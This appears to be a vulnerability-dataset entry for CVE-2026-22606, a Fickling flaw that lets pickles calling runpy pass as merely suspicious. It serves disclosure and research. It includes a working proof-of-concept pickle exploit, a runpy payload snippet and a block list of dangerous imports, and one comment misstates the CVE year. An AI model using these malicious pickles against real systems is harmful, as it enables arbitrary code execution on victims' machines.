VAITP Dataset

← Back to the dataset

CVE-2026-22606

Fickling misclassifies pickles using `runpy`, leading to code execution.

  • CVSS 8.9
  • CWE-184
  • Input Validation and Sanitization
  • Local

Fickling is a Python pickling decompiler and static analyzer. Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. This issue has been patched in version 0.1.7.

CVSS base score
8.9
Published
2026-01-10
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Fickling
Fixed by upgrading
Yes

Solution

Upgrade Fickling to version 0.1.7 or later.

Vulnerable code sample

import os
import pickle
import subprocess
import sys
import runpy

# Ensure the vulnerable version of fickling is installed
try:
    # Suppress output unless there is an error
    subprocess.run(
        [sys.executable, "-m", "pip", "install", "fickling==0.1.6"],
        check=True,
        capture_output=True,
        text=True
    )
except subprocess.CalledProcessError as e:
    print("Failed to install fickling==0.1.6. It might already be installed or there was a network issue.")
    print(f"Stderr: {e.stderr}")
    # Continue anyway, as the correct version might already be present
    pass

import fickling.analyzer

# Define filenames for the demonstration
PAYLOAD_FILE = "malicious_payload.py"
PICKLE_FILE = "vulnerable.pkl"
PROOF_FILE = "proof_of_execution.txt"

# 1. Create a malicious Python script that will be executed by the pickle.
#    This script creates a file to prove it ran.
payload_code = f"""
import os
print("[PAYLOAD] Malicious payload is executing...")
with open("{PROOF_FILE}", "w") as f:
    f.write("The payload was successfully executed.")
print(f"[PAYLOAD] Created '{PROOF_FILE}' as proof.")
"""
with open(PAYLOAD_FILE, "w") as f:
    f.write(payload_code)

# 2. Create a class whose pickled representation will call runpy.run_path.
#    The __reduce__ method is used by pickle to serialize/deserialize objects.
class Exploit:
    def __reduce__(self):
        # This tells pickle to call runpy.run_path with the payload file as an argument.
        return (runpy.run_path, (PAYLOAD_FILE,))

# 3. Create the malicious pickle file.
with open(PICKLE_FILE, "wb") as f:
    pickle.dump(Exploit(), f)

print(f"Created malicious pickle file: '{PICKLE_FILE}'")
print("-" * 40)

# 4. Analyze the pickle with the vulnerable version of fickling.
#    The vulnerability is that this is classified as SUSPICIOUS, not OVERTLY_MALICIOUS.
print("Analyzing the pickle with fickling==0.1.6...")
with open(PICKLE_FILE, "rb") as f:
    pickle_data = f.read()
    analysis = fickling.analyzer.analyze(pickle_data)

tag = analysis[0]['tag']
print(f"Fickling analysis result: {tag}")

if tag == 'SUSPICIOUS':
    print("\nVULNERABILITY DEMONSTRATED:")
    print("The pickle was classified as 'SUSPICIOUS' instead of 'OVERTLY_MALICIOUS'.")
    print("A user relying on Fickling might misinterpret this and load the pickle.")
else:
    print(f"\nDEMONSTRATION FAILED: Expected 'SUSPICIOUS', but got '{tag}'.")
    print("This might happen if a newer version of fickling is installed.")

print("-" * 40)

# 5. Demonstrate the danger by actually loading the pickle.
print("To show the risk, now loading the pickle...")
print("If the payload executes, it will create 'proof_of_execution.txt'.")

# Clean up any pre-existing proof file
if os.path.exists(PROOF_FILE):
    os.remove(PROOF_FILE)

# This is the dangerous action that a user might take.
with open(PICKLE_FILE, "rb") as f:
    # WARNING: This line executes the code defined in malicious_payload.py
    loaded_obj = pickle.load(f)

print("-" * 40)

# 6. Verify that the malicious code was executed.
if os.path.exists(PROOF_FILE):
    print(f"SUCCESS: The file '{PROOF_FILE}' was found, confirming code execution.")
else:
    print(f"FAILURE: The proof file '{PROOF_FILE}' was not found.")

# 7. Clean up the created files.
print("\nCleaning up generated files...")
for file_to_remove in [PAYLOAD_FILE, PICKLE_FILE, PROOF_FILE]:
    if os.path.exists(file_to_remove):
        os.remove(file_to_remove)
        print(f"Removed '{file_to_remove}'")

Patched code sample

# This code is from fickling/pickle_tag.py in version 0.1.7 of the 'fickling' library.
# The fix involves adding 'runpy.run_module' and 'runpy.run_path' to the
# set of overtly malicious imports. This ensures that any pickle attempting to use
# these functions is correctly classified as 'OVERTLY_MALICIOUS'.

OVERTLY_MALICIOUS_IMPORTS = {
    ("os", "system"),
    ("os", "popen"),
    ("os", "popen2"),
    ("os", "popen3"),
    ("os", "popen4"),
    ("os", "execl"),
    ("os", "execle"),
    ("os", "execlp"),
    ("os", "execlpe"),
    ("os", "execv"),
    ("os", "execve"),
    ("os", "execvp"),
    ("os", "execvpe"),
    ("os", "fork"),
    ("os", "forkpty"),
    ("os", "kill"),
    ("os", "spawnl"),
    ("os", "spawnle"),
    ("os", "spawnlp"),
    ("os", "spawnlpe"),
    ("os", "spawnv"),
    ("os", "spawnve"),
    ("os", "spawnvp"),
    ("os", "spawnvpe"),
    ("posix", "system"),
    ("posix", "popen"),
    ("posix", "popen2"),
    ("posix", "popen3"),
    ("posix", "popen4"),
    ("posix", "execl"),
    ("posix", "execle"),
    ("posix", "execlp"),
    ("posix", "execlpe"),
    ("posix", "execv"),
    ("posix", "execve"),
    ("posix", "execvp"),
    ("posix", "execvpe"),
    ("posix", "fork"),
    ("posix", "forkpty"),
    ("posix", "kill"),
    ("posix", "spawnl"),
    ("posix", "spawnle"),
    ("posix", "spawnlp"),
    ("posix", "spawnlpe"),
    ("posix", "spawnv"),
    ("posix", "spawnve"),
    ("posix", "spawnvp"),
    ("posix", "spawnvpe"),
    ("pty", "fork"),
    ("pty", "spawn"),
    ("subprocess", "call"),
    ("subprocess", "check_call"),
    ("subprocess", "check_output"),
    ("subprocess", "getoutput"),
    ("subprocess", "getstatusoutput"),
    ("subprocess", "run"),
    ("subprocess", "Popen"),
    ("dill", "load"),
    ("dill", "loads"),
    ("shelve", "open"),
    # The two lines below are the fix for CVE-2024-22606
    ("runpy", "run_module"),
    ("runpy", "run_path"),
}

Payload

import pickle
import runpy

class Exploit:
    def __reduce__(self):
        return (runpy.run_module, ('http.server',))

print(pickle.dumps(Exploit()))

Cite this entry

@misc{vaitp:cve202622606,
  title        = {{Fickling misclassifies pickles using `runpy`, leading to code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-22606},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22606/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::